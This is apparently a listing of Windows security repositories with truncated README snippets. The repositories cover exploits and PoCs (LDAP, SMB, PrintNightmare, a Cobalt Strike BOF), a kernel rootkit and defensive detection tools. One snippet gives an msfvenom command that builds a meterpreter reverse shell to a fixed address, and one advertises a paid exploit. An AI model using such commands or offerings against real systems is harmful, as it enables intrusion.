CVE-2024-49112-PoC

CVE-2024-49112-PoC CVE-2024-49112 LDAP RCE PoC and Metasploit Module Edit: links updated last 3 copies to go Link to Download: Contact Information You can reach me at: [email protected] please dont ask me if I can provide this for free, or if I can test your target, or how to add the module ...

CVE-2022-24500

CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin step 2 msf5...

CVE-2021-36934-HiveNightmare-Lab

CVE-2021-36934 HiveNightmare - Educational Lab 🎯 Objective Reproduce and analyze the HiveNightmare vulnerability in a controlled lab environment. 📋 Table of Contents Vulnerability Description Implementation Demonstration Lab Setup & Tools Exploitation Steps Mitigation Measures Demonstration...

PrintNightmare

TryHackMe | PrintNightmare PrintNightmare Learn about the vulnerability known as PrintNightmare CVE-2021-1675 and CVE-2021-34527 Task 6 Detection: Windows Event Logs Event Viewer Applications and Services Logs Microsoft Windows PrintService Admin...

CVE-2026-41089-Detector

CVE-2026-41089 Detection Tool This is a CVE-2026-41089 detection script for defense audits. The vulnerability is a Windows Netlogon remote code execution vulnerability disclosed by Microsoft in the May 2026 security update. The script does not send exploit packets or attempt to trigger Netlogon...

garble

garble go install mvdan.cc/garble@latest or @master Obfuscate Go code by wrapping the Go toolchain. Requires Go 1.27 or later. garble build build flags packages The tool also supports garble test to run tests with obfuscated code, garble run to obfuscate and execute simple programs, garble revers...

zerologon

Zerologon Summary A Zeek detection package for CVE-2020-1472, also known as Zerologon, which is a CVSS 10.0 privilege escalation vulnerability against the Netlogon protocol for Windows Server domain controllers. Notices By default, both notices are raised: ZerologonAttempt indicates the requisite...

shadow

shadow-rs 🦀 shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation while leveraging Rust’s safety and performance features. This project is intended for educational and research purposes. Table of Contents Notice Features Installation...

hayabusa

Windows event log fast forensics timeline generator and threat hunting tool. Written in memory-safe Rust by Yamato Security — the only open-source tool with full Sigma support, including v2 correlation rules. !https://img.shields.io/badge/SINCON%20Kampung%20Wor...

CVE-2023-36874_BOF

CVE-2023-36874 Windows Error Reporting LPE BOF Introduction This is a mature and operational CobaltStrike BOF implementation of Filip Dragovic's @filipdragovic CVE-2023-36874 Windows Error Reporting LPE exploit. He did the heavy lifting in terms of creating a working exploit by reversing the...

vulnerable-PDF

vulnerable-PDF = Salaries.pdf - develоpe mode: 08.10.2022 NOTE: This is only for testing and you can open just a calculator, the integrated program of Microsoft. = Or you can use the PDF file to download the calc.exe into a forbidden directory :D WARNING! Only for tests and education =...

EVTX-ATTACK-SAMPLES

Windows EVTX Samples 200 EVTX examples: This is a container for windows events samples associated to specific attack and post-exploitation techniques. Can be useful for: Testing your detection scripts based on EVTX parsing Training on DFIR and threat hunting using event logs Designing detection u...

CVE-2024-49112

LDAP Nightmare An exploit for CVE-2024-49112 reported by Yuki Chen @guhe120. A vulnerability in Windows Lightweight Directory Access Protocol LDAP. Created by SafeBreach Labs published on January 1st 2025. For the full technical analysis of the vulnerability and how we managed to exploit it check...

winsos-poc

WinSOS This technique utilizes executables within the WinSxS folder, commonly trusted by Windows, to exploit the classic DLL Search Order Hijacking method. By leveraging these executables, threat actors can execute malicious code within Windows applications without requiring elevated privileges...

CVE-2021-1675

PrintNightmare Local Privilege Escalation PoC src/nightmare.cpp: source code to exploit CVE-2021-1675 and gain system access by installing a malicious dll src/payload-dll.cpp: source code for dll with malicious shellcode in entry function !!Only use against servers on which you have permission to...

cve-2018-8120-exp

cve-2018-8120-exp exp for cve-2018-8120 learn from: https://xiaodaozhi.com/exploit/156.html https://github.com/unamer/CVE-2018-8120 test on win7 sp1 x86 and x64...

CVE-2025-5548

🛡️ Analysis and Exploitation: CVE-2025-5548 Master in Cybersecurity | Module 6: Vulnerabilities 👋 Hello! Welcome to my Analysis Workshop In this repository I document my practical immersion in binary-level vulnerability analysis and the development of exploits for Windows environments. The main...

Active-Directory-Health-Check

🛡️ Active Directory Health Check v2.14.1 🇩🇪 Deutsch | 🇬🇧 English Ein umfassendes PowerShell-Skript zur automatisierten Überprüfung der Gesundheit und Sicherheit einer Active Directory-Umgebung. Mit Best-Practice-Bewertung, farbcodiertem HTML-Report und CSV-Export. DE: Auswahlfenster der GUI:...

0xGUARD

📄 Features Module remapping Thread filtering Module hiding Memory check Integrity check Anti-DLL Injection Anti-Debugging Process policy Literal string obfuscation Compatibility with Themida/VMProtect ✔️ Dependencies Windows 711 Visual Studio 2019 🔧 How to use 1. Set options in options.h and build...

slui-file-handler-hijack-privilege-escalation

Slui File Handler Hijack LPE Exploit Information| ---|--- Date| 15.01.2018 Patched| Windows 10 20H1 19041 exploit-db| 44830 Tested on| Windows 8-10, x86/x64 independent Description slui.exe is an auto-elevated binary that is vulnerable to file handler hijacking. Read access to...